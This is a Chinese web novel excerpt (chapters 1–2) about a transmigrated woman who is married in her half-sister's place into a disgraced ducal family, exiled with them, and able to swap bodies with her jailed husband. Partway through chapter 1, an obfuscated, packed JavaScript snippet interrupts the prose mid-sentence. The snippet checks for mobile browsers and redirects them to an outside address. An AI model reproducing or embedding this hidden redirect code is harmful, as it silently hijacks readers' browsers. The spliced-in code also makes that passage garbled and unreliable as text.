《罪臣夫妇互换日常》 1. 第 1 章 两日前,宫宴上发生一桩丑事。 镇国公霍让醉酒后离席,被人找到时,正与新进宫不久的柳美人衣冠不整地纠缠在假山之内。 天威不可犯,更何况是在皇帝头上种草? 今上龙颜大怒,当场将他下狱。 一时之间,霍家人心惶惶。 府中以西宽敞却幽静的院落中,下人们进出无一不是大气不敢喘,面色坠坠眼神惴惴,皆是畏手畏脚小心翼翼的模样。 与他们的胆战心惊不同,霍老夫人赵氏倒是神色如常,一应作息与平日里一般无二,依旧细心照料着院子里的花草。 有下人私下揣测,言道国公爷非她亲生,也不怪她不上心。 当年她嫁入国公府后连生三女,因着霍家有三十无子,方可酌情纳妾的祖训,直到老国公霍潜年过三十,才由霍太夫人作主纳其表妹沈氏为妾。沈氏隔年生下长子霍让,三年后生女,又过七年再诞一子。 期间赵氏亦有过身孕,一朝分娩生的还是女儿。如今她前头生的三位姑娘已经出嫁,留在身边的唯有五姑娘霍鹂。 霍鹂脚步匆匆地进来,打眼看到她还在修剪花枝,尚带稚气,稍显婴儿肥的秀丽脸庞上划过些许喜气。 “娘,前院已布了红,我听说林家已经应允,今日就将棠姐姐嫁进来。” 她说的林家,是定国公府。 定国公府和他们镇国公府乃是当世最为显赫的人家,索有南镇北定之说。两家自来交好,更是许有儿女亲事。 霍让出事之后赵氏闭门不出,一没有为庶子四处奔走,二没有进宫跪请开恩,一应周旋相求事宜全是沈氏作主。 沈氏求到林家时,林家人闭门不出,仅派个管事应付她,那管事传主家的话说秽乱后宫堪比谋逆之罪,兹事体大无能为力,但无论霍家如何,两家的婚约仍旧作数。 这话于她而言,是救命的稻草。她借由为自己儿子冲喜的幌子,要求林家嫁女,原以为能拿捏林家,谁料林家竟然同意她的无理取闹。 赵氏望着被修剪一新的木槿花,幽幽叹了一口气。 成亲乃大事,结的是两姓之好。眼下霍家这般光景,山雨欲来风满楼,也不知大厦何时将倾。林家同意今日嫁女,当真不是在赌气吗? “也不知还能不能看到它们开花的样子。” 因着她闺中的槿字,院子里遍种木槿。 “娘!”霍鹂听到她这话,脸上的喜色瞬间消散,“您…您别担心,女儿想着林家同意把棠姐姐嫁过来,定然会帮我们……” 她摇了摇头,又是一声叹息。 半晌,道:“去看看吧。” * 前院已是一片红,大红的灯笼处处高挂,门窗贴上着窗花喜联。流光溢彩的红绸成帘,布置在门楣之上。只是那些剪裁并不完美的窗花,还有挂歪的红绸,无一不彰显着仓促。 沈氏不安地来回踱步,目光不停地往外张望,待看到赵氏时脸色僵了僵,然后不自觉地挺直腰背抬起下巴。饶是面容憔悴,她仍是难得的美妇人,举手投足间全是这些年母凭子贵滋养出来的底气。 对于赵氏,她是怨的。 一怨赵氏不管自己的儿子,二怨对方借机打压她,故意让丢人现眼。 这两日她处处碰壁,听到那些之前在她面前恭维的人变了嘴脸,口口声声她一个妾室难登大雅之堂,不仅对她爱搭不理,更有甚者是百般奚落。 她受尽羞辱,自是将这笔账算在赵氏头上。 “姐姐这会舍得出门了?莫不是来等着喝新媳妇茶?” 赵氏焉能听不出她话里的阴阳怪气,顾不上和她计较,苦口婆心道:“我不是告诉过你,这等时候切忌乱了方寸,静待圣断即可。” 听到这样的话,沈氏只觉怒火中烧。 “姐姐这话说的倒是轻巧,合着让儿没有托生在你肚子里,你便置他生死于不顾。我是让儿的亲娘,你不心疼他,我心疼他!” 赵氏对庶子庶女当然谈不上有多心疼,但她出身世族,又是国公府的主母,大事大非还是拎得清的,万不会因为妻妾之间的龃龉而置霍家不顾。 她之所以不动应万变,也是知道此事的严重性,更知道越是想替庶子开脱求情,反而越是在打陛下的脸。 天威难测,君王好面,庶子所做之事无异于欺君罔上,罪无可免,端看陛下能顾念霍家多少,半点也不能强求。 “棠儿是嫡长女,亲事如此匆忙,林家未必……” 她想说林家未必会真的嫁女,谁知话还未说完,便听到有人高呼,“来了,来了!” 沈氏大喜过望,一扫近两日的焦灼难安,得意地斜她一眼,“姐姐,你听,林家当真把棠儿嫁过来了。这一旦结亲,让儿就是定国公府的女婿,定国公必定会帮他在陛下那里求情。要我说,那什么美人就是个不安分的,应是她在宫中耐不住寂寞,见让儿落了单,又生得好看……” “住口!”赵氏脸色大变。 今上自登基以来,确实不事朝政,反倒沉迷后宫。年年选秀不断,更别提一些臣子们投其所好送进宫的美人。 后宫就那么大,男人也只有一个,那么多的美人,不知有多少独守空房。然而这些事,不是她们可以议论的。 沈氏也知自己说错了话,却是不会承认,反倒死犟,“我不过是实话实说,姐姐何必生气?姐姐若是不喜,何不等让儿回家再论?” 她这话里的意思,分明是笃信自己的儿子会没事,还想仗着自己国公爷生母的身份压赵氏一头。 赵氏忍着火气,索性懒得搭理她。 一袭粗制红衣的婆子进了府,身后跟着一乘喜轿。除去抬轿的轿夫,再无其他人。一无送亲之人,二无嫁妆。 如此做派,不像是嫁女,倒像是送妾上门。 那婆子像是怕沾上什么晦气,挥了挥帕子,道:“我家主子说了,亲事已成,仁至义尽。至于旁的,静候天意。” 说完,朝轿夫们一使眼色。 轿夫们当即将轿子落地,与婆子一道转身就走。 “你们……”沈氏欲追,被赵氏叫住。 林家这般做派,还有什么不明白的。倘若再追着求着,只会适得其反。 红彤彤的喜轿孤仃而突兀,里面一点动静也没有,很难不让人怀疑那就是个空轿子。 沈氏的情绪从天上到地下,自有一番复杂经历。她气极上前,一把扯开轿帘,等看到轿中确实有人时,忙不迭地去揭开轿中人的盖头。 映入眼中的是一张巴掌大的小脸,细玉瓷般的冷白肤,睫如扇唇如樱,即使是双眸紧闭,仍能想象那楚楚水瞳的盈盈春色。额间新磕出来的伤泛着血丝,如盛开的红梅,娇且媚地勾人心弦。 “怎么是她!” 赵氏听出不对来,人已近前。 “这是……” 林家的那个庶女! * 南嘉半睡半醒间,只觉头疼得无比,还沉得厉害。她艰难地掀开一线眼缝,隐约看到一个古代打扮的女子,迷迷糊糊地想着自己做梦都做出了水平,居然还能梦到古人。 “怎么会是你?你嫡姐呢?”沈氏摇着她,焦急不已。 她被摇得头发昏,更觉沉闷难受。 “什么嫡姐……” “我们让儿要娶的人是林幼棠,不是你!你快给我起来,把你嫡姐换过来!” 因为又气又急,沈氏下了死力。 南嘉被摇得再次半掀起眼缝,看清沈氏的打扮。大袖衫配帔帛,似唐非唐,似宋非宋的打扮,只觉无比的古怪。 “你谁啊……” 须臾,她的头剧烈地疼起,随之而来的一些根本不属于她的记忆。这些记忆快速融入她脑海,让她瞬间清醒。 那些记忆告诉她,她现在叫林南嘉,与她本来的名字仅有一字之差。 原主不愿替嫡姐出嫁,一头撞在柱子上。林家人急欲了断亲事,不顾“她”的死活,强行将“她”塞入喜轿中。 “她”应是在途中咽了气,被她取而代之。而眼前的这两位锦衣华服的夫人,应该就是霍家的一妻一妾。 “快!快来人哪,将这个庶女…送回去,让林家换人!”沈氏怒喊着,一脸的气急败坏。 好个定国公府,居然让这么个玩意儿来替嫁! 若是以往,她身为国公爷的生母,只消一声令下,府中的下人无一不是争先恐后地争抢差事。但此一时彼一时,所有的下人仿佛没听到沈氏的话,一个个低下头去。 “我让你们立刻,马上去换人,你们都聋了吗?”沈氏见无人动,更无人应声,气极的面庞有些扭曲。 这样的结果,赵氏一点也不意外。霍家大难将至,以定国公夫妇疼爱嫡女之心,哪里会真的将女儿嫁过来。 她目光落在南嘉撞破的额头上,心生同情。 以往在林家的大事小情上,外人很少见到这个庶女,偶尔有那么一两回,这孩子给人的印象除了长相出众外,懦弱胆小的样子实在不值得一提。 如今瞧着,也是个可怜人。 “倘若婚约尚在,我们两家日后还有再见相求之机。如今林家用个庶女打发我们,分明是想了断亲事。眼下我们若中将人送回,怕是日后连转寰的余地都没有。” “姐姐这是在怪我?”沈氏红了眼,不知是气的,还是急的,“让儿出了事,姐姐不闻不问。可怜我到处求人,受尽白眼羞辱……” 余下的话消失在她的咬唇间,喉咙处涌上些许腥气。她死死掐着掌心,胸口剧烈地起伏着,像是在挣扎妥协。 事到如今,亲生的儿子生死未卜,她纵有再高的心气也得收一收,该低头时当低头,该服软时就服软。 “那依姐姐看,眼下该如何是好?” 赵氏焉能听不出她的示弱之意,纵然以往对她颇多怨气不满,此时也不是计较的时候,当下招呼几人过来,吩咐道:“你们把人送去公爷的房间,再去请胡大夫过府一趟。” 人已经嫁进霍家,无论如何也不能怠慢,否则就是和林家彻底撕破脸。 沈氏绞着手中的帕子,尽管心里有太多的不甘,也只能作罢。 南嘉已经消化完原主的记忆,权衡自己的处境后,她索性闭目垂头,装作意识不清的样子。 两个婆子扶着她,出了轿子。 她任由自己被她们架着走,然后被送进一间屋子。等到她们一离开,她倏地睁开眼睛从床上起身,开始打量眼前的一切。 堂堂镇国公的住处,当然是极尽奢华。只是这奢华中透着熟悉,比如说水晶珠摆件和那纤毫可照的玻璃镜。 镜中出现她的模样,像是她十几岁时的样子,却更加娇弱些。 她慢慢坐到桌前,准备喝口茶压惊。桌子上除了华美的珐琅茶具外,还有一枚青灰色带纹路的椭圆形鹅卵石。鹅卵石看上去十分普通,像是河边常见的那种。这样的东西出现在一府之主的屋子里,显得尤为突兀。 鬼使神差般,她伸手去拿那石头。 石头一入手,脑海中蓦地乍现刺眼的金光,入目所及的全是金子。金光灿灿,一堆接着一堆,闪耀着滔天富贵的光辉。 而她的手上,那石头已不见踪影。某种怀疑让她静下心来,默念着自己想要拿取的东西。几乎是在她意念一动时,一块金子就出现在她掌心。 这是…空间! 她又默念着将金块放回去,金块却不动。不仅如此,她想将屋子里的其它东西藏进空间,空间亦是毫无反应。 所以这空间只能取,不能存。 虽然有些可惜,但不多。 这时外面传来一阵嘈杂声,不多会儿工夫,无数的哭喊尖叫声此起彼伏。她隐约听到“抄家”二字,心里一个咯噔。 不会吧! 她才刚穿越啊。 老天爷前脚送她一个空间,后脚就面临抄家,不会是赏个甜枣再打个巴掌吧。 正想找个可以躲藏的地方时,房门忽然被人猛地推开,一群人冲进来。这些人头戴银盔,腰佩青龙弯月刀,一身护甲威风凛凛,甫一看到她,有人高喊一声,“这里还有一个!” “我不是霍家的人,我是林家的二姑娘……” 为首的人盯着她,好一会儿才道,“今日林家嫁女,整个永安城都已传遍,林二姑娘如今已是霍家人。” “我与那霍让没有拜过堂,礼还没成,怎么算是夫妻?” “林二姑娘,我不过是奉命行事,这些事你和我说不着。不如先与霍家人一道,我派人去林家知会一声。” 南嘉思及记忆中那所谓家人们的模样,心有点发凉。 但为今之计,也只好如此。 她被带到前院空地时,好些丫环婆子惊不住吓,哭着喊着求那些人饶命。下人们在一边,主子们在另一边。 沈氏紧紧搂着八岁的小儿子霍谦,旁边是她的女儿四姑娘霍明珠。霍明珠不愧明珠之名,出落得亭亭玉立。因着到了议亲之龄,一应衣着穿戴皆是上等,说是珠光宝气亦不为过。 “这是霍家,谁让你们如此造次的?” 她质问为首之人,那通身的贵女气派,隔着有些距离都能感受得到。 那人睨了她一眼,没有理会。 赵氏连忙赔罪,称呼那人为孟将军,言语间透着无比的客气,“将军见谅,事情来得突然,我家国公爷不在,我们这一家子的妇孺……” “霍老夫人,霍国公秽乱后宫,所犯之事乃是欺君罔上。有些事你不必同我们说,我等也只管依旨办事。”那孟将军将她的话打断,示意属下将他们带走。 这话如惊雷,炸起无数哭喊声。 沈氏等人不肯动,那些人也不管他们曾是什么身份,毫不怜惜地喝斥推搡着。慌乱之中,她和霍明珠的发髻都被扯得东倒西歪,瞧着好不狼狈。 胳膊终是扭不过大腿,霍家一门子的妇幼哪里抵得过那一个个身强力壮的青龙卫,最后南嘉与霍家人一并押入刑部的大牢。 一入地牢,男女分开。霍谦被人拎着单独带去男监,其余人全关在女监。沈氏撕心裂肺地喊着,求赵氏想办法。 “姐姐,谦儿还是个孩子,你快让人救救他,你让人去侯府,他们不会不管的……” 建宁侯府是霍家大姑娘霍鹏的夫家,如今的建宁侯是霍鹏的公爹。 赵氏也不落忍,却还是摇了摇头,“当日宫宴之上,侯爷就曾为让儿说过话,引得陛下勃然大怒,险些被一同问罪。李家上下百余口,差点受到牵连,你让我如何张得开这个口?” 沈氏眼里的光渐散,喃喃,“难道就这样了吗?” 赵氏神情灰暗,道:“圣心已断,听天由命吧。” 话音一落,地牢里全是沈氏的哭声。 膀大腰圆的女狱卒一声喝斥,她立马止了哭,变成小声的啜泣。 “都怪你!”霍明珠像是受了刺激,莫名其妙地朝南嘉发难,“若是棠姐姐嫁过来,林家肯定会帮忙的。” 南嘉无语,林家如果真想嫁嫡女,哪里会换成她这个庶女。说起来,她才是最无辜的那个。 “林家要是肯帮忙,我就不会在这里。” “…我不管…”霍明珠仿佛找到宣泄之处,不管不顾地喊着。“肯定是你想嫁给我大哥,用下作的法子换了棠姐姐的亲事。你一个低贱的庶女,凭你也配!你一生下来就克死自己的生母,一进我们霍家,就克我们全家,都怪你!” 原本还在抹眼泪的沈氏一听这话,似是恍然大悟般,“难怪,难怪……没错,你就是个灾星,是你害了我们霍家!” 南嘉简直要被这对母女给气笑了。 刚才她还想着自己不要计较,毕竟霍家出了这样的事,好好的夫人小姐成了阶下囚,换成谁都很难接受。没想到她们倒还来了劲,居然想让她来背这口大黑锅。 “霍让在宫中与人苟且,也是我克的?还我想嫁给他?他把我害得这么惨,我恨不得杀了他!” 那个色胆包天管不住自己下半身的玩意儿是什么人见人爱的大宝贝吗?一个骄奢淫逸的混账东西,他才是整个霍家的克星。 她睨着她们,慢条斯理地道:“我才是倒霉,被你们克,否则我哪里会有今日之祸。” 不等她们反驳,她似笑非笑看着霍明珠,一字一字地说,“还有,你别忘了,你也是庶女。” 庶女看不起庶女,这更可笑。 霍明珠恼羞成怒,“我……我……” “我”了半天,也不敢说自己不是庶女。 她是霍让的胞妹,平日里处处压其他姐妹一头,早已忘记自己的出身。如今霍让出事,她和沈氏也跟着现形。 这时几个女狱卒捧着一些衣物过来,说是要给她们换上。 那些衣物又破又旧,也不知道是从哪里弄来的。 先前那位膀大腰圆的胖狱卒见她们不动,冷哼一声。“你们是自己脱,还是我们侍候?我丑话说在前头,我们手笨,你们这一身的细皮嫩肉,万一被我们伤了可不好。” “我不换,我不换!”霍明珠抱着自己的身体,歇斯底里的喊着。“你们快这些东西拿走,莫要脏了我的眼。” 狱卒们相互一对视,眼神皆是说不出来的讥诮。 南嘉一言不发,默默地主动脱衣除饰。 那胖狱卒皮笑肉不笑地道:“还是你识趣。” 赵氏看着南嘉,咬了咬牙也跟着动作起来,还示意霍鹂跟着。而沈氏和霍明珠一直不肯动,最后由狱卒们动手。 “别碰我,你们别碰我!” “啪!” 霍明珠捂着脸,不敢置信地看着打她的小个子狱卒。 “你……你敢打我……” “再喊,信不信我们把你扒光,破衣服都不给你穿!” 小个子狱卒狠狠地瞪着她,嘲弄的目光中隐约有一丝兴奋,吓得她立马老实。衣服破些旧些,也总比光着身子强。 南嘉是最先换好的,穿上那些旧衣之前,还有人上前搜身,从上到下仔细地搜刮一遍,以确保她没有藏私。 她不反抗,也不挣扎,任由对方动作。唯一让人好受点的是,这些破旧的衣服事先浆洗过,闻着有一股子皂角的味道。 等到那些人准备将她们换下来的首饰衣裳送走时,她将先前的那位胖狱卒叫住,小声道:“这位大姐,我是定国公府的姑娘,麻烦你找人帮我送个信去林家。” 说话的同时,她将两颗从空间取出来的金豆子塞到对方手上。 金豆子极小,没被搜刮出来倒也合理,否则若是金块,那委实说不过去。 那胖狱卒对于她还私藏金子一事,不仅没有生气,反倒越发觉得她机灵懂事,遂压着声音告之,“林二姑娘怕是还不知道,你们刚被押进来后不久,定国公府那边就让人传了话。说你已嫁入霍家,是霍家的人,让我们大人不必觉得为难。还说你是霍家媳,定当与霍家生死与共。” 南嘉作难受状,心下将林家那些人骂了一个狗血淋头。 好一个大义灭亲的林家! 她低着头,语气中难掩失落,“怪不得他们让我给嫡姐替嫁,怕是早知这个结果。” 灰乎乎的粗布旧衣,衬得她肌肤越发冷白,额头的撞伤变紫了些,分外的骇人刺目,也更能突显她的娇媚。 胖狱卒不知是一时有所感,还是对她心生同情,下意识多了一句嘴,“今晚的饭菜我一定安排好,吃饱了你们明天也好上路。” 上路两个字,她当然能听明白。 若是上的黄泉路,那不用使钱也能有一顿好饭菜。如果是使了银钱的送行饭,那这个上路就应该是流放之路。 对方倒是个讲信用的,安排的饭菜除了用新米煮的粥外,还有白面馒头。配菜虽说只有两道,却是一荤一素。 霍家人都没有动筷子,等南嘉开吃时,霍明珠极其嫌弃还说了一句,“快把这些猪狗都不吃的东西拿走!” 南嘉眼皮子不抬,慢条斯理地吃起来。 赵氏见她这般,更是大感意外。 这丫头怎地和自己见过的模样差之甚远,莫非以前都是装的? 转念一想,他们这样的大户人家阴私多,苛待庶出子女的嫡母也不鲜见。有些庶出为了讨好嫡母,言行举止全不能由己。 也是个可怜孩子。 “你和让儿一无媒聘,二无婚书。若林家人来带你走,你只管和他们走便是。” 南嘉扯了扯嘴角。 林家已将她当成弃子,哪里还会来救她。 但赵氏这份人情,她领了。 “吃了这一顿,下一顿还不知在哪里,你们多少还是吃些为好。” 她这一提醒,让赵氏心头一跳,思及她之前和狱卒说过话,隐约猜到些什么,对自己的女儿和沈氏母女说:“你们也都吃些吧。” 沈氏和霍明珠还是不肯吃,只顾抱在一起哭。 霍鹂倒是听话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116185|164174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好歹吃了几口。 南嘉细嚼慢咽着,一连吃完两个馒头。纵然她吃相并不难看,落在有些人眼中却是粗鄙至极。尤其是沈氏,一边小声哭泣,一边嫌弃地看她。 一共五个馒头,赵氏母女分吃一个,她吃了两个,剩下的两个被她按扁收进怀中。这般动作落在沈氏的眼中,更是觉得她上不了台面。 “你这个样子……” 沈氏指责的话还没说话,便被她冷冷的目光骇住。 她不在意这些人的生死,也不愿多管闲事,但如果有人用恶意来攻击她,她也不会忍着让着,哪怕她们确实倒霉。 “你……你……你这么看我作甚?”沈氏心虚起来,不敢与她对视。暗道先前在林家见过这庶女,还当是个懦弱听话的,没想到性子如此不讨喜。 “沈姨娘,霍家有今日之祸,全是因为你生了一个好儿子。你说霍家的列祖列宗们如果地下有知,会不会气得一个个掀了棺材板?” 沈姨娘三个字,本就戳了沈氏的肺管子,还有这番话,更是讽刺又扎心。 “你……” “我劝你,还是管好你自己,少来招惹我。” 不是喜欢哭吗? 那就哭个够,管别人的闲事作什么。 南嘉说完,寻了个干草多些的角落缩着。闭上眼睛时心念微动,堆满金子的空间再次出现。 开局就是一个大坑,幸好她还有这个金手指。 这一夜漫长而难熬,霍家人都没睡,她也没睡踏实。微弱的晨光从头顶的小窗透进来时,一阵杂乱的脚步声响起。 走在前头的是一位宫里太监打扮的人,那人手中拿着圣旨模样的东西。不多会的工夫,他尖细的嗓音在牢中回响。 流放北地这几个字,是皇恩浩荡,也是尘埃落定。 所有人被带出去后,南嘉再次见到霍谦。 昨日还锦衣华服的贵气小公子,一夜不见变成可怜的小乞儿模样。他惊魂未定地抖着,扑进沈氏怀中放声大哭。 旁边停着一辆囚车,囚车的人乱发覆着半边脸,可见优越的五官。身上有大片的血污,左腿被包扎着,有明显的血迹渗出。 他垂着头,人事不知的模样,看上去破碎而凄美,如星辉隐退。 “让儿,让儿,你怎么了?”沈氏哭喊着,扑到囚车前。 南嘉压了压嘴角,为自己方才的那一时惊艳感到可笑。 一个混蛋而已,真是白瞎了一副好皮囊。 负责押送他们的差役有九人,领头的人面黑个高,名叫闫怀安。他嘴唇抿着,手一直按在腰间的刀柄上,一脸的森然。 不多会儿,南嘉和霍家人都被戴着枷锁,每人都由一名差役牵着,另有两名差役负责押送囚车。 这般的狼狈屈辱,霍家人皆是没脸见人。一路出城时,自有不少百姓围观,指指点点议论纷纷,他们更是羞愤欲死。 唯有南嘉,压根顾不上别人的指点议论,一直在思量着如何破局。 出城后,闫怀安命令所有人原地停下。 流放之人押送出京,依着约定俗成的规则,亲朋好友会在城外送行,或是备上一些衣物,或是打点差役。 建宁侯府没有来人,赵氏眼中的光亮渐暗的同时,松了一口气,安慰自己大女儿不来的好,免得被牵连。 林家倒是派了个人来,那管事一出现,沈氏母子几人齐齐哭求。然而结果注定不能如他们所愿,那管事除了分给每人一个装着两身换洗衣物的包袱,旁的什么也没有,甚至连句话都没有留给南嘉。 南嘉已有心理准备,说不上失望不失望。 那些衣物都被仔细查过,以确保没有夹私。 又等了一会儿,再也没有人来。 闫怀安一声令下,囚车开始滚动。 高耸的城门渐渐远去,京都的热闹被旷野所取代。现在是暮春时节,所见之处绿荫冉冉,还是赏野的好时候。但他们是流放,不是踏青,注定欣赏不来这浓重的春色。 不到一个时辰,所有人都受不住,包括南嘉。这具身体毕竟自小养在深闺,再是长得和她像,也没有她原来的体力。 “我走不动了,我真的走不动了……” 霍明珠这一哭喊,霍谦也跟着哭,“娘,娘,我要回家,我要回家……” 母子几人昨晚都没有吃东西,比其他人更受不住。 前面的闫怀安听到动静,皱着眉转过身来,大手仍旧按在腰间的佩刀上,极其不悦地看着他们,“两月之内到不了北地,谁也活不成。” 被他这么一吓,霍家姐弟不敢再哭。 好容易挨到午时已过,他才让他们停在山脚下歇息。从腰间解下钥匙后,他将所有人的枷锁打开,并发放干粮。 所谓的干粮,是每人小半块粗面饼子。 至于水,路边的小沟里有的是。 南嘉将藏下的馒头拿出来,分给赵氏母女一个。赵氏有气无力地向她道谢,显然也已虚脱。 她背过人观察四周,暗自思量着有些事情的可行性。 历史的长河在三国之后出现分流,统一天下之人是扶风马氏的旁支马应天。马应天建立天朝,坐上皇位之后大展拳脚。新政改革频出,无异于开天辟地,同时涌现的还有各种后世制物,如玻璃香皂等。 天朝末年,起义频发,夜氏崛起问鼎江山,改朝换代为未朝。 未朝开国皇帝夜摛取天朝之精华,比如说户籍制度。路引除去文字说明,还有画像为证,且各地衙门都设有人口普查的部门,三月一小查,一年一大查。所以就这么逃跑不现实,必须想一个更万全的办法。 馒头很快被她吃完,接着她将那粗面饼子也硬嚼着咽下去,转过身时刚好看到赵氏母女把没吃的饼子放起来。 赵氏与她的目光对上,挤出一个难看至极的苦笑来。 “先留着,还能吃。” “对于有些人来说,这样的吃食已是极好。” 她的目光越过赵氏,看向那些差役。 所有差役的吃食,是和他们一样的粗面饼子,喝的也是水沟里的水。从他们的吃相上来看,没有丝毫的嫌弃和难以下咽。 “这东西怎么吃啊!我不吃,我不吃……我要吃芙蓉酥,我要吃翠玉糕,我还要樱桃乳酪!” 霍谦说的这些东西,听得那年纪最小的差役直咽口水。 小差役将他和沈氏霍明珠几人扔出去的饼子捡回来,刚想着给他们送回去,被闫怀安用眼睛一瞪,吓得立马将饼子上交。 “你吃吧。” 听到自己头儿的这话,小差役几口就把饼子给吃了,那狼吞虎咽的模样,不知道的还当他吃的是什么山珍海味。 一刻钟后,闫怀安命所有人再次启程。 这一起身,南嘉发现自己全身的骨头像被拆过一样,酸痛无力的同时,脚底传来一阵阵钻心的刺痛。 她如此,其他人也差不多。 霍鹂的脚应该也被磨起了泡,因为忍着痛一直死死咬着自己的嘴唇。而更为娇气的霍明珠已经哭出声来,牵着她的差役与其说是牵,不如说是拖着她往前走。她是唯一一个从昨天到现在水米未进的人,哪怕是沈氏和霍谦,刚才都勉强喝了几口水。 “通” 走着走着,她一头栽倒在地,险些将那差役也给带倒。 “珠儿,珠儿,你这是怎么了?你不要吓娘啊!”沈氏扑过去,嘶哑地喊着。 日头高悬于顶,已有毒辣之势。 南嘉感觉自己的呼吸都变得又沉又闷,每走一步都是难以忍受的痛。不管这些人如何,单说她自己,如果再这么走下去,恐怕也熬不住。 她拉了拉锁链,对牵着她的差役道:“有人晕倒了,能不能让我们再歇一歇?” 那差役目光定在她的脸上好一会儿后,别过脸去,似是有些不忍,语气却带着几分警告,“别说话,走快些!” 少说话才能保存体力,这个道理她当然知道。 “不是我们不想走快,是实在走不动了。” “衙门的文书上写得明白,我们要在两月之内将你们送到,否则……你还是少说话的好。” 南嘉知道他的难处,也知道有些事他也作不了主。 “我知道你们的难处,也多谢你的提醒。” “我……”他黝黑的脸上泛起可疑的红,眼神开始飘忽。 这么好看的姑娘,他还是第一次见。 可惜了。 闫怀安闻讯过来,探过霍明珠的气息后,从怀中取出瓷瓶在她鼻子下面晃了一下。见她睁开眼睛醒来,板着脸下令继续赶路。 “等等。”南嘉不惧对方如刀的目光,道:“再这么走下去,我们都活不成。” “千里流放,死伤难免。” “要是都死了,你们这一趟是不是就白跑了?” 末等的差役俸禄微薄,如他们这般押解流放罪眷的差事,最后所得银钱与安全送达的人数息息相关。 “如果能免于死伤,又能将人如期送到,岂不两全齐美?” 损人还是利己,这笔账谁都能算明白。 “那依你之见,该当如何?”闫怀安问她。 她深吸一口气,道:“你们应知循序渐进的道理,何不先让我们逐渐适应,待我们适应之后再加快脚程,如何?” 霍家人都望过来,齐齐看着她。 闫怀安的目光越发锐利了些,像是想将她看穿一般。 半晌,道:“前头不远有处凉亭,可在那里稍作歇息。” 歇息二字,让众人忽地生出力气,仿佛望梅止渴,包括那些差役。 押解罪犯是苦差,千里之行皆要靠双脚一步一步走出来,被流放之人无法幸免,押解之人亦是如此。 那凉亭不知何年何月所造,砌石散乱,木梁残败,上面所刻之字也已不可辩认。头顶的瓦片稀松有缺,应是年久失修的缘故。 南嘉坐在乱石上,揉着自己的双腿。 众人纷纷去水沟取水喝,她想歇一会儿再去。徐徐的风穿凉亭而过,带来混杂着田间青草和泥土气息的清爽。 囚车就停靠在一旁,车中的人一直昏迷不醒,那乱发之下的面庞风华隐隐,又美又惨,如同一幅艺术气氛浓郁的画卷。 “这个王八蛋害得所有人跟着受苦,竟然还能躺着,实在是太不公平了,真想和他换一换。” 她才如此想着,瞬间陷入一片黑暗之中。 2. 第 2 章 * 差役们三两成堆,有人抱怨今年天热得早,还没入夏已是燥得厉害。过去一个月里更是滴雨未下,怕是年景不好。 不会有人知道,此时此刻竟有人互换了身体。 那坐在石头上的人眼底划过一抹疑惑,很快又消失不见。纵然人还是那个人,姿态也未有任何的变化,身体里却已是另一个人。 “大嫂,你也喝点水吧。”霍鹂不知何时过来,端着一碗水。 夜炁看着她,又看向不远处的赵氏,神情隐有几分动容之色。 昔者庄周梦成蝶,不知周也,不知蝶也,那么他呢? “多谢。” 这两个字才一出口,他瞬间归于黑暗。 与此同时,南嘉回到自己的身体。 经此诡异之事,她得现两个结论:一是那空间认的是她这个人,而不是她所在的身体,因为刚才她在别人身体时,空间并没有消失。二是互换身体的主动权在她。 这两点都利于她,唯有那个人的反应让她意外。 阖京上下皆知,未朝最年轻的国公爷因长了一张肖似先太子的脸,极得顺宗皇帝的宠爱。 顺宗与先太子皆是德宗之子。 德宗痴迷丹术妄求长生,日日耽于求仙问道,不临早朝不问民生,一应政策杂乱无章,致使朝纲动摇人心坠坠,局势危如累卵。 江山基石不稳之时,年仅十岁的先太子临朝,以太子之名代父监国。上安朝堂,下抚百姓,历时数年力挽狂澜。 可惜慧极必伤,天妒英才,纵然先太子禀赋于天,有百龙之智,却体弱多病。因日夜苦心孤诣殚精竭虑,终年不过弱冠之龄。 而顺宗,是他一直带在身边教导的皇弟。他大限将至前不知用了什么法子,居然让德宗同意退位,让位给顺宗。 顺宗在位期间,对于长得像自己皇兄的霍让可谓是圣宠至极。但凡进贡之物第一个送去的就是镇国公府,还任其自由出入宫闱。 正是因为这天下独一份的宠爱,才纵得霍让飞扬跋扈,行事张狂目中无人,以至于在今上继位后仍不知收敛,最终酿成大祸。 然而刚才对方用自己的声音说话时,那低沉的语气中听不出任何情绪。没有惊恐,没有害怕,也无一丝颤抖,分明是个处惊不变之人。 莫非以前都是装的? 若真是装,那也装得太好。 人心难测,真也好假也好,摆在眼前的事实是霍家遭了难,她也受到牵连。她本不应该陪着霍家人一起受苦,所以这份苦她能不吃就不吃。 她去水沟取了一些水,再折了些草,然后朝囚车走去。 离得近了,更能看清那乱发之下的脸,安静而凄美。长得像已是这么的出众,那位惊才绝艳却短命的先太子该是何等的风华过人。 可惜了。 死的太早。 她用草沾了水,替囚车里的人润着发干发白的唇。 “姓霍的,等会我要借你的身体一用。你不许嚷嚷,也不许告诉别人,否则你就等着我们一起被当成妖怪烧死。我警告你,我的身体你不许看也不许摸,听到没有?要是你敢碰一下,我就废了你的第三条腿!” 夜炁:“……” 他一朝重生,原以为借尸还魂已是怪诞至极,万没想到还能与人互换身体。听此女之言语,似是半点不以为奇,且还能运用自如。 她到底是什么人? “这第三条腿嘛,你应该懂吧,宫里很多人都没有。” “……” “我等下把身体借你一用,你要是同意,就回一个好字。要是不答应,就回一个不字,明白了吗?” 南嘉说完,心下默念。 “换!” 须臾,她又陷入黑暗之中。 而夜炁,也重见天日。 他几乎没有任何犹豫,回了一个好字。 南嘉心下哼哼,算这个王八蛋识相。 不过她可不信这色胆包天的人真能说到做到,万一摸了她碰了她,她还不得膈应死。关于这一点,她有办法。 身体换回来之后,她甫一转身,对上霍家人复杂的目光。 赵氏感慨道:“是我们疏乎,还是你这孩子心细。” 沈氏撇了撇嘴,一脸的别扭,“身为女子,衣食住行上照料自己的夫君是天经地义。她不过是尽自己的本分而已,姐姐何必大惊小怪。” 